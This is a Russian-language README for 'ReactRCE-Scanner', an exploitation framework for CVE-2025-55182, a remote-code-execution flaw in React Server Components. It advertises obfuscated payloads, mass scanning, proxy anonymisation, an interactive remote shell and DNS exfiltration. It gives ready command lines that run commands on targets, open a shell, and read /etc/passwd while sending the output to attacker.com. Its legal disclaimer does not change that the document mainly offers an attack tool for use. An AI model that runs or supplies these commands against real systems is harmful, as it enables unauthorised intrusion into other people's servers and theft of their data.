🔐 ReactRCE-Scanner

CVE-2025-55182 — Продвинутый фреймворк для эксплуатации и оценки RCE в React Server Components

📑 Содержание

Правовая оговорка и этическое уведомление
Обзор
Ключевые возможности
Краткое руководство по началу работы
Архитектура и подробный обзор возможностей
Справочник по конфигурации
Автоматизированный набор тестов
Устранение и смягчение последствий
Участие и сообщество
Ссылки
Лицензия и автор

⚠️ Правовая оговорка и этическое уведомление

Этот инструмент разработан исключительно в ОБРАЗОВАТЕЛЬНЫХ целях и для АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ. Неавторизованное использование данного программного обеспечения против целей без предварительного письменного согласия является нарушением международных законов о компьютерных преступлениях, включая Computer Fraud and Abuse Act (CFAA), требования GDPR и стандартные условия соглашений об оказании услуг. Автор и участники проекта снимают с себя всякую ответственность за любое неправомерное использование, незаконные операции или косвенный ущерб, возникший в результате работы этой программы. Действуйте строго на свой страх и риск.

📋 Обзор

ReactRCE-Scanner — это фреймворк корпоративного уровня для оценки и проверки безопасности, разработанный специально для CVE-2025-55182 [1] — критической уязвимости удалённого выполнения кода (RCE), затрагивающей React Server Components в версиях от 19.0.0 до 19.2.0.

Фреймворк устраняет разрыв между теоретическими исследованиями уязвимостей и практической проверкой безопасности. Благодаря многоэтапному фингерпринтингу, строгому снижению числа ложных срабатываний, продвинутой обфускации полезной нагрузки и автоматизированной отчётности в нескольких форматах, он предоставляет инженерам по безопасности точные диагностические возможности.

Использование	Результаты сканирования

🎯 Ключевые возможности

Категория возможности	Ключевая реализация	Статус
Умный фингерпринтинг	Многоисточниковое определение фреймворка и версии с алгоритмами оценки достоверности.	✅
Многоэтапная проверка	5-этапный конвейер валидации, предназначенный для систематического исключения ложных срабатываний.	✅
Генерация полезной нагрузки	Конструктор обфусцированных полезных нагрузок с поддержкой DNS-эксфильтрации и множественных кодировок.	✅
Интерактивная оболочка	Псевдоинтерактивное выполнение команд в реальном времени и доступ к оболочке на подтверждённых целях.	✅
Комплексная отчётность	Автоматическая генерация отчётов в форматах JSON, HTML, PDF и Markdown.	✅
DNS-эксфильтрация	Внеполосная эксфильтрация вывода команд через безопасную обработку DNS-запросов.	✅
Движок параллелизма	Высокопроизводительная многопоточная архитектура сканирования для больших поверхностей атаки.	✅
Интеграция с прокси	Поддержка HTTP/HTTPS и SOCKS прокси для анонимизации трафика оценки.	✅

🚀 Краткое руководство по началу работы

Установка

Клонируйте репозиторий и инициализируйте окружение с помощью автоматизированного скрипта установки или ручной установки зависимостей:

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh

# Alternatively, install core Python dependencies manually
pip install -r requirements.txt

Справочник основных команд

Фреймворк работает через модульную CLI-архитектуру, поддерживающую проверку одной цели, массовое сканирование из списков файлов, запуск интерактивной оболочки и формирование отчётов о соответствии.

# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan

# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json

# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"

# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell

# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com

# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf

🔬 Архитектура и подробный обзор возможностей

1. Движок умного фингерпринтинга

Фреймворк выполняет глубокую разведку перед доставкой полезной нагрузки. Он анализирует множество полей HTTP-заголовков (X-Powered-By, Next-Action, RSC), структурные мета-теги HTML (data-reactroot, __NEXT_DATA__), статические ресурсы сборки и исходные JavaScript-бандлы [2] [3].

Оценки достоверности разделены на четыре уровня:

CRITICAL (95%+): Несколько независимых индикаторов подтверждают уязвимые версии среды выполнения React Server Component.
HIGH (75–95%): Обнаружены сильные структурные индикаторы с точным совпадением версии.
MEDIUM (50–75%): Присутствуют частичные маркеры фреймворка; требуется ручная проверка.
LOW (<50%): Обнаружены слабые эвристики; высокая вероятность ложного срабатывания.

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit — Updated!